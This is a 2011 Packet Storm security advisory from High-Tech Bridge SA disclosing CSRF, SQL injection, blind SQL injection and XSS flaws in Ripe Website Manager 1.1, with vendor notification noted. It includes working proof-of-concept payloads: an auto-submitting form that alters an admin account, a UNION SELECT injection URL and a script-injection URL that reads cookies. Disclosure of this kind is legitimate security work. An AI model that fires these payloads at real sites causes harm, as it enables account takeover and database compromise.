Ripe Website Manager 1.1 XSRF / XSS / SQL Injection

2011-03-24T00:00:00
ID PACKETSTORM:99695
Type packetstorm
Reporter High-Tech Bridge SA
Modified 2011-03-24T00:00:00

Description

                                        
                                            `================================  
Vulnerability ID: HTB22898  
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_ripe_website_manager.html  
Product: Ripe website manager  
Vendor: Ripe website manager Team ( http://www.ripewebsitemanager.com/ )   
Vulnerable Version: 1.1 and probably prior versions  
Vendor Notification: 10 March 2011   
Vulnerability Type: CSRF (Cross-Site Request Forgery)  
Risk level: Low   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "ripe/modules/members/admin.php" script to properly verify the source of HTTP request.  
  
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/ripe/?v=5&a=2&id=USERID" method="post" name="main">  
<input type="hidden" name="actionformSubmit" value="1">  
<input type="hidden" name="x" value="1">  
<input type="hidden" name="y" value="1">  
<input type="hidden" name="ripe_user" value="test">  
<input type="hidden" name="ripe_name" value="test test">  
<input type="hidden" name="ripe_email" value="email@example.com">  
<input type="hidden" name="ripe_group" value="2">  
<input type="hidden" name="ripe_new_pass" value="">  
<input type="hidden" name="ripe_new_pass2" value="">  
  
<input type="hidden" name="a_pages" value=" ">  
<input type="hidden" name="a_menus" value=" ">  
<input type="hidden" name="a_files" value=" ">  
<input type="hidden" name="a_stats" value=" ">  
<input type="hidden" name="a_forms" value=" ">  
<input type="hidden" name="a_adverts" value=" ">  
<input type="hidden" name="a_users" value=" ">  
<input type="hidden" name="a_templates" value=" ">  
  
<input type="hidden" name="change" value="change">  
<input type="hidden" name="id" value="USERID">  
  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
================================  
Vulnerability ID: HTB22897  
Reference: http://www.htbridge.ch/advisory/sql_injection_vulnerability_in_ripe_website_manager.html  
Product: Ripe website manager  
Vendor: Ripe website manager Team ( http://www.ripewebsitemanager.com/ )   
Vulnerable Version: 1.1 and probably prior versions  
Vendor Notification: 10 March 2011   
Vulnerability Type: SQL Injection  
Risk level: Low   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "ripe/modules/page/admin.php" script to properly sanitize user-supplied input in "id" variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
http://host/ripe/?v=1&a=2&id=999+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+--+  
  
================================  
Vulnerability ID: HTB22896  
Reference: http://www.htbridge.ch/advisory/blind_sql_injection_vulnerability_in_ripe_website_manager.html  
Product: Ripe website manager  
Vendor: Ripe website manager Team ( http://www.ripewebsitemanager.com/ )   
Vulnerable Version: 1.1 and probably prior versions  
Vendor Notification: 10 March 2011   
Vulnerability Type: Blind SQL Injection  
Risk level: Low   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "ripe/index.php" script to properly sanitize user-supplied input in "v" variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
http://host/ripe/?v=1"+SQL_CODE&a=1  
  
================================  
Vulnerability ID: HTB22895  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_ripe_website_manager.html  
Product: Ripe website manager  
Vendor: Ripe website manager Team ( http://www.ripewebsitemanager.com/ )   
Vulnerable Version: 1.1 and probably prior versions  
Vendor Notification: 10 March 2011   
Vulnerability Type: XSS (Cross Site Scripting)  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "ripe/modules/nav/admin.php" script to properly sanitize user-supplied input in "menu_id" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
http://host/ripe/?v=2&a=2&id=1&menu_id=1"><script>alert(document.cookie)</script>  
  
  
`